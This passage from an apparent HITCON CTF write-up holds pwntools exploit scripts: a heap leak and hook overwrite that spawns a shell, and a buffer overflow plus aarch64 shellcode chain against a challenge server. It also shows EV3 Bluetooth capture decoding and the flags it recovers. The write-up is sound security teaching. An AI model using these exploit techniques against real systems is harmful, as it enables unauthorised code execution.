add(<span class="hljs-number">8</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x30</span>+flat(<span class="hljs-number">0</span>, <span class="hljs-number">0x71</span>)+<span class="hljs-string">'a'</span>*<span class="hljs-number">0x1f</span>)
add(<span class="hljs-number">9</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x5f</span>)
add(<span class="hljs-number">10</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x5f</span>)
add(<span class="hljs-number">11</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'/bin/sh\x00'</span>.ljust(<span class="hljs-number">0x5f</span>))
add(<span class="hljs-number">12</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x5f</span>)
add(<span class="hljs-number">13</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x30</span>+flat(<span class="hljs-number">0</span>, <span class="hljs-number">0x71</span>)+<span class="hljs-string">'a'</span>*<span class="hljs-number">0x1f</span>)
add(<span class="hljs-number">14</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x5f</span>, <span class="hljs-string">'a'</span>*<span class="hljs-number">0x5f</span>)
<span class="hljs-comment"># 5 == 13, 12 == 14</span>

<span class="hljs-comment"># leak heap &amp; libc</span>
delete(<span class="hljs-number">10</span>)
delete(<span class="hljs-number">12</span>)
delete(<span class="hljs-number">14</span>)
add(<span class="hljs-number">10</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">'\x90'</span>)
add(<span class="hljs-number">12</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">'\x00'</span>)
add(<span class="hljs-number">14</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x38</span>, flat(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0x000000010000030f</span>))
x = show(<span class="hljs-number">13</span>).strip()
x = decrypt(x.decode(<span class="hljs-string">'hex'</span>))
heap = u64(x[<span class="hljs-number">14</span>*<span class="hljs-number">8</span>:<span class="hljs-number">15</span>*<span class="hljs-number">8</span>])
libc = u64(x[<span class="hljs-number">28</span>*<span class="hljs-number">8</span>:<span class="hljs-number">29</span>*<span class="hljs-number">8</span>]) - <span class="hljs-number">0x3ebf90</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'heap:'</span>, hex(heap)
<span class="hljs-keyword">print</span> <span class="hljs-string">'libc:'</span>, hex(libc)
<span class="hljs-string">'''
print len(x), x
for i in range(33):
    heap = u64(x[i*8:(i+1)*8])
    print i, hex(heap)
'''</span>

<span class="hljs-comment"># pwn</span>
hook = libc + <span class="hljs-number">0x3ed8e8</span>
<span class="hljs-comment">#system = libc + 0x4f440</span>
system = libc + <span class="hljs-number">0x10a38c</span>
delete(<span class="hljs-number">5</span>)
delete(<span class="hljs-number">13</span>)
add(<span class="hljs-number">16</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x8</span>, flat(hook))
add(<span class="hljs-number">18</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x8</span>, flat(hook))
add(<span class="hljs-number">13</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0x8</span>, flat(system))
<span class="hljs-comment">#raw_input("@")</span>
delete(<span class="hljs-number">11</span>)
<span class="hljs-string">'''
0x4f2c5    execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322    execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''</span>

<span class="hljs-comment"># hitcon{overflow_with_CBC_and_why_calloc_doesnt_use_tcache??}</span>

r.interactive()
</code></pre><h3 id="super-hexagon"><a class="header-link" href="#super-hexagon"></a>Super Hexagon</h3>
<p>I only passed the first and the second level of this challenge.</p>
<h4 id="el0"><a class="header-link" href="#el0"></a>EL0</h4>
<h5 id="observation"><a class="header-link" href="#observation"></a>Observation</h5>
<p>First, we have bios.bin. bios.bin can be divided into several parts which contain the codes of different levels.</p>
<p>You can find an ELF binary appended to bios.bin. Then you can reverse it.</p>
<p>The binary contains the code of EL0 level.</p>
<h5 id="exploit-2"><a class="header-link" href="#exploit-2"></a>exploit</h5>
<ol class="list">
<li>There is a <code>print_flag</code> function at 0x400104.</li>
<li>Customized scanf with gets can trigger overflow.</li>
<li>Just overwrite the function pointer and print flag.</li>
</ol>
<pre class="hljs"><code>from pwn import *


r=remote(<span class="hljs-string">"52.195.11.111"</span>,<span class="hljs-number">6666</span>)

r.recvuntil(<span class="hljs-string">"cmd&gt; "</span>)
r.sendline(<span class="hljs-string">"0"</span>)
r.recvuntil(<span class="hljs-string">"index: "</span>)
r.sendline(<span class="hljs-string">"a"</span>*<span class="hljs-number">0x100</span>+p64(<span class="hljs-number">0x400104</span>))

r.interactive()
</code></pre><h4 id="el1"><a class="header-link" href="#el1"></a>EL1</h4>
<h5 id="observation-1"><a class="header-link" href="#observation-1"></a>Observation</h5>
<p>In gdb, if you step in svc instruction, you&#39;ll get into supervisor level which is EL1 level.</p>
<p>The code base is 0xffffffffc0000000. And you can find the code of EL1 level in bios.bin at 0xB0000</p>
<h5 id="exploit-3"><a class="header-link" href="#exploit-3"></a>exploit</h5>
<ol class="list">
<li>There is also a print_flag function in EL1 level. It&#39;s located at 0xffffffffc0008408.</li>
<li>You can leverage mprotect to make good use of shellcode.</li>
<li>Fortunately, there is no ASLR. We can find out that the return address of the function that handles syscall is stored at a fixed address which is 0xffffffffc0019bb9</li>
<li>Trigger read like this, <code>read(0,0xffffffffc0019bb8,1)</code>, can overwrite the return address then control the control flow in EL1 level.</li>
<li>However, we can only overwrite one byte. The original return address is 0xffffffffc000a830. We cannot change it to 0xffffffffc0008408.</li>
<li>After a while, I found an useful gadget at 0xffffffffc0008f30 which will return again. And the return address is located at 0xffffffffc0019c08.</li>
<li>First, put the print_flag address at 0xffffffffc0019c08. Then trigger <code>read(0,0xffffffffc0019bb9,1)</code> so as to replace return address 0xffffffffc000a830 with 0xffffffffc0008f30.</li>
</ol>
<pre class="hljs"><code>from pwn import *

context.arch = 'aarch<span class="hljs-number">64</span>'
r = remote('<span class="hljs-number">52.195</span>.<span class="hljs-number">11.111</span>',<span class="hljs-number">6666</span>)

load_key = <span class="hljs-number">0x4002f4</span>
buf = <span class="hljs-number">0x00007ffeffffd000</span>
mprotect = <span class="hljs-number">0x401b68</span>

payload='''
MOV <span class="hljs-keyword">x</span><span class="hljs-number">0</span>,<span class="hljs-keyword">x</span><span class="hljs-number">2</span><span class="hljs-comment">;
</span>MOV <span class="hljs-keyword">x</span><span class="hljs-number">19</span>,<span class="hljs-keyword">x</span><span class="hljs-number">2</span><span class="hljs-comment">;
</span>MOV <span class="hljs-keyword">x</span><span class="hljs-number">1</span>,<span class="hljs-number">0x9c08</span><span class="hljs-comment">;
</span><span class="hljs-keyword">add</span> <span class="hljs-keyword">x</span><span class="hljs-number">1</span>,<span class="hljs-keyword">x</span><span class="hljs-number">1</span>,<span class="hljs-keyword">x</span><span class="hljs-number">19</span><span class="hljs-comment">;
</span>MOVK            X<span class="hljs-number">1</span>, <span class="hljs-symbol">#0</span>xc<span class="hljs-number">001</span>,LSL<span class="hljs-symbol">#16</span><span class="hljs-comment">;
</span>MOVK            X<span class="hljs-number">1</span>, <span class="hljs-symbol">#0</span>xffff,LSL<span class="hljs-symbol">#32</span><span class="hljs-comment">;
</span>MOVK            X<span class="hljs-number">1</span>, <span class="hljs-symbol">#0</span>xffff,LSL<span class="hljs-symbol">#48</span><span class="hljs-comment">;
</span>MOV             X<span class="hljs-number">2</span>, <span class="hljs-number">1</span><span class="hljs-comment">;
</span>MOV             X<span class="hljs-number">8</span>, <span class="hljs-symbol">#0</span><span class="hljs-keyword">x</span><span class="hljs-number">3</span>f<span class="hljs-comment">;
</span>SVC             <span class="hljs-number">0</span><span class="hljs-comment">;
</span>cmp <span class="hljs-keyword">x</span><span class="hljs-number">19</span>,<span class="hljs-symbol">#7</span>
b.<span class="hljs-keyword">eq</span> <span class="hljs-number">0xc</span>
<span class="hljs-keyword">add</span> <span class="hljs-keyword">x</span><span class="hljs-number">19</span>,<span class="hljs-keyword">x</span><span class="hljs-number">19</span>,<span class="hljs-number">1</span>
b <span class="hljs-number">0xffffffffffffffd4</span>
MOV <span class="hljs-keyword">x</span><span class="hljs-number">0</span>,<span class="hljs-keyword">x</span><span class="hljs-number">2</span><span class="hljs-comment">;
</span>MOV <span class="hljs-keyword">x</span><span class="hljs-number">1</span>,<span class="hljs-number">0x9bb9</span><span class="hljs-comment">;
</span>MOVK            X<span class="hljs-number">1</span>, <span class="hljs-symbol">#0</span>xc<span class="hljs-number">001</span>,LSL<span class="hljs-symbol">#16</span><span class="hljs-comment">;
</span>MOVK            X<span class="hljs-number">1</span>, <span class="hljs-symbol">#0</span>xffff,LSL<span class="hljs-symbol">#32</span><span class="hljs-comment">;
</span>MOVK            X<span class="hljs-number">1</span>, <span class="hljs-symbol">#0</span>xffff,LSL<span class="hljs-symbol">#48</span><span class="hljs-comment">;
</span>MOV             X<span class="hljs-number">2</span>, <span class="hljs-number">2</span><span class="hljs-comment">;
</span>SVC             <span class="hljs-number">0</span><span class="hljs-comment">;
</span>'''


shellcode=<span class="hljs-keyword">asm</span>(payload)
def cmd(<span class="hljs-keyword">c</span>, idx, key=''):
    r.sendlineafter('cmd&gt; ', str(<span class="hljs-keyword">c</span>))
    r.sendlineafter('index: ', str(idx))
    if <span class="hljs-keyword">c</span> != <span class="hljs-number">0</span>:
        r.sendlineafter('key: ', key)
k=shellcode.split(<span class="hljs-string">"\x00"</span>)

<span class="hljs-keyword">cc</span>=<span class="hljs-number">0</span>
for i in k[::<span class="hljs-number">-1</span>]:
  print <span class="hljs-string">"HAH"</span>,i.encode(<span class="hljs-string">"hex"</span>)
  cmd(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, ('a'*(<span class="hljs-number">16</span>+len(shellcode)-len(i)-<span class="hljs-keyword">cc</span>)+i).ljust(<span class="hljs-number">0x100</span>,<span class="hljs-string">"\x00"</span>)+flat(<span class="hljs-number">0x1234</span>,<span class="hljs-number">0x40051C</span>))
  <span class="hljs-keyword">cc</span>+=len(i)+<span class="hljs-number">1</span>
cmd(<span class="hljs-number">0</span>, 'a'.ljust(<span class="hljs-number">0x100</span>)+flat(<span class="hljs-number">0x400634</span>,<span class="hljs-number">0x40051C</span>))
cmd(<span class="hljs-number">1</span>, <span class="hljs-number">4096</span>, 'aaaaa'.ljust(<span class="hljs-number">0x100</span>)+flat(load_key, mprotect))
cmd(<span class="hljs-number">0</span>, 'a'.ljust(<span class="hljs-number">0x100</span>)+flat(buf+<span class="hljs-number">0x10</span>))

r.send(p<span class="hljs-number">64</span>(<span class="hljs-number">0xffffffffc0008408</span>)+<span class="hljs-string">"\x8f"</span>)


r.interactive()
</code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="ev3-basic"><a class="header-link" href="#ev3-basic"></a>EV3 Basic</h3>
<ol class="list">
<li>Extract the data from pklg</li>
</ol>
<pre class="hljs"><code><span class="hljs-number">0d</span>002a0000000084120<span class="hljs-number">08413000000</span>
<span class="hljs-number">08002</span>a000<span class="hljs-number">00000840080</span>
<span class="hljs-number">11002</span>a000000008405010a81288<span class="hljs-number">46800840080</span>
<span class="hljs-number">11002</span>a000000008405011481288<span class="hljs-number">46900840080</span>
<span class="hljs-number">12002</span>a00000000840501816481528<span class="hljs-number">47d00840080</span>
<span class="hljs-number">12002</span>a00000000840501814681288<span class="hljs-number">47b00840080</span>
<span class="hljs-number">12002</span>a00000000840501815a8128<span class="hljs-number">843100840080</span>
<span class="hljs-number">12002</span>a00000000840501813c81288<span class="hljs-number">46e00840080</span>
<span class="hljs-number">13002</span>a00000000840501828c0081448<span class="hljs-number">46500840080</span>
<span class="hljs-number">12002</span>a00000000840501812881288<span class="hljs-number">46300840080</span>
<span class="hljs-number">12002</span>a00000000840501816e81288<span class="hljs-number">46400840080</span>
<span class="hljs-number">12002</span>a00000000840501813281288<span class="hljs-number">46f00840080</span>
<span class="hljs-number">11002</span>a000000008405011e81288<span class="hljs-number">47400840080</span>
<span class="hljs-number">13002</span>a0000000084050182a0008136<span class="hljs-number">846100840080</span>
<span class="hljs-number">13002</span>a0000000084050182960081448<span class="hljs-number">47600840080</span>
<span class="hljs-number">12002</span>a00000000840501815081288<span class="hljs-number">46d00840080</span>
<span class="hljs-number">12002</span>a00000000840501817881368<span class="hljs-number">46900840080</span>
<span class="hljs-number">13002</span>a0000000084050182820081448<span class="hljs-number">46400840080</span>
<span class="hljs-number">12002</span>a00000000840501812881528<span class="hljs-number">46500840080</span>
<span class="hljs-number">12002</span>a00000000840501814681528<span class="hljs-number">46b00840080</span>
<span class="hljs-number">11002</span>a000000008405011e81448<span class="hljs-number">45f00840080</span>
<span class="hljs-number">12002</span>a00000000840501813c8144<span class="hljs-number">847200840080</span>
<span class="hljs-number">12002</span>a00000000840501812881448<span class="hljs-number">46600840080</span>
<span class="hljs-number">12002</span>a00000000840501815a8144<span class="hljs-number">846100840080</span>
<span class="hljs-number">12002</span>a00000000840501813c81368<span class="hljs-number">47500840080</span>
<span class="hljs-number">11002</span>a000000008405011481528<span class="hljs-number">46f00840080</span>
<span class="hljs-number">12002</span>a0000000084050181648136<span class="hljs-number">846100840080</span>
<span class="hljs-number">12002</span>a00000000840501813281448<span class="hljs-number">46900840080</span>
<span class="hljs-number">12002</span>a00000000840501817881288<span class="hljs-number">43500840080</span>
<span class="hljs-number">12002</span>a00000000840501816481288<span class="hljs-number">46e00840080</span>
<span class="hljs-number">12002</span>a00000000840501815a81528<span class="hljs-number">47400840080</span>
<span class="hljs-number">12002</span>a00000000840501817881448<span class="hljs-number">45f00840080</span>
<span class="hljs-number">12002</span>a0000000084050181648144<span class="hljs-number">847200840080</span>
<span class="hljs-number">11002</span>a000000008405010a81368<span class="hljs-number">45f00840080</span>
<span class="hljs-number">12002</span>a00000000840501814681368<span class="hljs-number">46e00840080</span>
<span class="hljs-number">13002</span>a0000000084050182a00081448<span class="hljs-number">46500840080</span>
<span class="hljs-number">13002</span>a000000008405018296008128<span class="hljs-number">847200840080</span>
<span class="hljs-number">13002</span>a0000000084050182820081368<span class="hljs-number">46f00840080</span>
<span class="hljs-number">13002</span>a0000000084050182a00081288<span class="hljs-number">46d00840080</span>
<span class="hljs-number">13002</span>a00000000840501828c0081288<span class="hljs-number">43000840080</span>
<span class="hljs-number">12002</span>a00000000840501815081528<span class="hljs-number">46900840080</span>
<span class="hljs-number">11002</span>a000000008405011e81528<span class="hljs-number">47000840080</span>
<span class="hljs-number">12002</span>a00000000840501813281368<span class="hljs-number">46d00840080</span>
<span class="hljs-number">12002</span>a00000000840501812881368<span class="hljs-number">46d00840080</span>
<span class="hljs-number">12002</span>a00000000840501815a81368<span class="hljs-number">46300840080</span>
<span class="hljs-number">11002</span>a000000008405011481368<span class="hljs-number">46300840080</span>
<span class="hljs-number">11002</span>a000000008405010a81448<span class="hljs-number">46e00840080</span>
<span class="hljs-number">12002</span>a00000000840501814681448<span class="hljs-number">46d00840080</span>
<span class="hljs-number">13002</span>a0000000084050182960081368<span class="hljs-number">45f00840080</span>
<span class="hljs-number">13002</span>a0000000084050182820081288<span class="hljs-number">47400840080</span>
<span class="hljs-number">12002</span>a00000000840501816e81368<span class="hljs-number">47400840080</span>
<span class="hljs-number">11002</span>a000000008405011481448<span class="hljs-number">46400840080</span>
<span class="hljs-number">12002</span>a00000000840501815081368<span class="hljs-number">46900840080</span>
<span class="hljs-number">12002</span>a00000000840501813c81528<span class="hljs-number">45f00840080</span>
<span class="hljs-number">12002</span>a00000000840501815081448<span class="hljs-number">47700840080</span>
<span class="hljs-number">13002</span>a00000000840501828c0081368<span class="hljs-number">46e00840080</span>
<span class="hljs-number">12002</span>a0000000084050181328152<span class="hljs-number">847200840080</span>
<span class="hljs-number">11002</span>a000000008405011e81368<span class="hljs-number">46f00840080</span>
<span class="hljs-number">11002</span>a000000008405010a81528<span class="hljs-number">46c00840080</span>
<span class="hljs-number">12002</span>a00000000840501816e81448<span class="hljs-number">46500840080</span>
</code></pre><ol start="2">
<li>Get the useful data</li>
</ol>
<pre class="hljs"><code><span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8128 <span class="hljs-number">68</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">148128</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81648152</span> <span class="hljs-number">7d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81468128</span> <span class="hljs-number">7</span>b
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8128 <span class="hljs-number">31</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8128 <span class="hljs-number">6e</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">828</span>c008144 <span class="hljs-number">65</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81288128</span> <span class="hljs-number">63</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">816e8128</span> <span class="hljs-number">64</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328128</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8128</span> <span class="hljs-number">74</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">82</span>a0008136 <span class="hljs-number">61</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8296008144</span> <span class="hljs-number">76</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81508128</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81788136</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8282008144</span> <span class="hljs-number">64</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81288152</span> <span class="hljs-number">65</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81468152</span> <span class="hljs-number">6</span>b
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8144</span> <span class="hljs-number">5</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8144 <span class="hljs-number">72</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81288144</span> <span class="hljs-number">66</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8144 <span class="hljs-number">61</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8136 <span class="hljs-number">75</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">148152</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81648136</span> <span class="hljs-number">61</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328144</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81788128</span> <span class="hljs-number">35</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81648128</span> <span class="hljs-number">6e</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8152 <span class="hljs-number">74</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81788144</span> <span class="hljs-number">5</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81648144</span> <span class="hljs-number">72</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8136 <span class="hljs-number">5</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81468136</span> <span class="hljs-number">6e</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">82</span>a0008144 <span class="hljs-number">65</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8296008128</span> <span class="hljs-number">72</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8282008136</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">3 </span><span class="hljs-number">82</span>a0008128 <span class="hljs-number">6d</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">828</span>c008128 <span class="hljs-number">30</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81508152</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8152</span> <span class="hljs-number">70</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328136</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81288136</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8136 <span class="hljs-number">63</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">148136</span> <span class="hljs-number">63</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8144 <span class="hljs-number">6e</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81468144</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8296008136</span> <span class="hljs-number">5</span>f
<span class="hljs-symbol">3 </span><span class="hljs-number">8282008128</span> <span class="hljs-number">74</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">816e8136</span> <span class="hljs-number">74</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">148144</span> <span class="hljs-number">64</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81508136</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8152 <span class="hljs-number">5</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81508144</span> <span class="hljs-number">77</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">828</span>c008136 <span class="hljs-number">6e</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328152</span> <span class="hljs-number">72</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8136</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8152 <span class="hljs-number">6</span>c
<span class="hljs-symbol">2 </span><span class="hljs-number">816e8144</span> <span class="hljs-number">65</span>
</code></pre><ol start="3">
<li>Sort with some order</li>
</ol>
<pre class="hljs"><code><span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8128 <span class="hljs-number">68</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">148128</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8128</span> <span class="hljs-number">74</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81288128</span> <span class="hljs-number">63</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328128</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8128 <span class="hljs-number">6e</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81468128</span> <span class="hljs-number">7</span>b
<span class="hljs-symbol">2 </span><span class="hljs-number">81508128</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8128 <span class="hljs-number">31</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81648128</span> <span class="hljs-number">6e</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">816e8128</span> <span class="hljs-number">64</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81788128</span> <span class="hljs-number">35</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8282008128</span> <span class="hljs-number">74</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">828</span>c008128 <span class="hljs-number">30</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8296008128</span> <span class="hljs-number">72</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">82</span>a0008128 <span class="hljs-number">6d</span>

<span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8136 <span class="hljs-number">5</span>f
<span class="hljs-symbol">1 </span><span class="hljs-number">148136</span> <span class="hljs-number">63</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8136</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81288136</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328136</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8136 <span class="hljs-number">75</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81468136</span> <span class="hljs-number">6e</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81508136</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8136 <span class="hljs-number">63</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81648136</span> <span class="hljs-number">61</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">816e8136</span> <span class="hljs-number">74</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81788136</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8282008136</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">3 </span><span class="hljs-number">828</span>c008136 <span class="hljs-number">6e</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8296008136</span> <span class="hljs-number">5</span>f
<span class="hljs-symbol">3 </span><span class="hljs-number">82</span>a0008136 <span class="hljs-number">61</span>

<span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8144 <span class="hljs-number">6e</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">148144</span> <span class="hljs-number">64</span>
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8144</span> <span class="hljs-number">5</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81288144</span> <span class="hljs-number">66</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328144</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8144 <span class="hljs-number">72</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81468144</span> <span class="hljs-number">6d</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81508144</span> <span class="hljs-number">77</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8144 <span class="hljs-number">61</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81648144</span> <span class="hljs-number">72</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">816e8144</span> <span class="hljs-number">65</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81788144</span> <span class="hljs-number">5</span>f
<span class="hljs-symbol">3 </span><span class="hljs-number">8282008144</span> <span class="hljs-number">64</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">828</span>c008144 <span class="hljs-number">65</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">8296008144</span> <span class="hljs-number">76</span>
<span class="hljs-symbol">3 </span><span class="hljs-number">82</span>a0008144 <span class="hljs-number">65</span>

<span class="hljs-symbol">1 </span><span class="hljs-number">0</span>a8152 <span class="hljs-number">6</span>c
<span class="hljs-symbol">1 </span><span class="hljs-number">148152</span> <span class="hljs-number">6</span>f
<span class="hljs-symbol">1 </span><span class="hljs-number">1e8152</span> <span class="hljs-number">70</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81288152</span> <span class="hljs-number">65</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81328152</span> <span class="hljs-number">72</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">813</span>c8152 <span class="hljs-number">5</span>f
<span class="hljs-symbol">2 </span><span class="hljs-number">81468152</span> <span class="hljs-number">6</span>b
<span class="hljs-symbol">2 </span><span class="hljs-number">81508152</span> <span class="hljs-number">69</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">815</span>a8152 <span class="hljs-number">74</span>
<span class="hljs-symbol">2 </span><span class="hljs-number">81648152</span> <span class="hljs-number">7d</span>
</code></pre><ol start="4">
<li>The last two char is the hex of flag</li>
</ol>
<pre class="hljs"><code><span class="xml">hitcon</span><span class="hljs-template-variable">{m1nd5t0rm_communication_and_firmware_developer_kit}</span><span class="xml">
</span></code></pre><h3 id="ev3-scanner"><a class="header-link" href="#ev3-scanner"></a>EV3 Scanner</h3>
<ol class="list">
<li>Get the data from pklg</li>
</ol>
<pre class="hljs"><code><span class="hljs-title">tshark</span> -r ev3_scanner_record.pklg -<span class="hljs-type">E</span> separator=, -e <span class="hljs-class"><span class="hljs-keyword">data</span> -<span class="hljs-type">T</span> fields <span class="hljs-keyword">data</span> &gt; raw</span>
</code></pre><ol start="2">
<li><p>Replace some useless text.</p>
</li>
<li><p>Replace <code>07002a00020000c040</code> to 0.</p>
</li>
<li>Replace <code>07002a00020000803f</code> to 1.</li>
<li>Replace <code>07002a000200008040</code> to 2.</li>
<li>Replace <code>07002a000200000040</code> to 3.</li>
<li>You will get something like this</li>
</ol>
<pre class="hljs"><code><span class="hljs-number">22001300000000000000000000000000000000000000000000001110002111111000100000000130011111120011111110001000001004111111000111111130011111100010000010001111110001000010001111110021111</span>
<span class="hljs-number">2000000002100000000000130001300130000000100010000013000000013001000041000100004300210001300000000010001000000001000000041000000001100000130000000000000000000000000000001000001000000004100222</span>
<span class="hljs-number">2200100000000000001111100000000000000000000000000000410000011000000001100000013000000004100130000000002100100001000011000100000100210000000010000010001000000001311000001000000000001300000000</span>
<span class="hljs-number">2000000211100000211111100000011100000001100010000210001111110012000010001111111000001100000411300100011111130000100000100000111111300000110002111110211111100011110000021133000000000000100222</span>
<span class="hljs-number">2222001300000000000000000000000000000000000000000000001111000111111100410000000210001111113001111111000130000130011111130011111113001111110001000001000111111000130001300111111300111110000000</span>
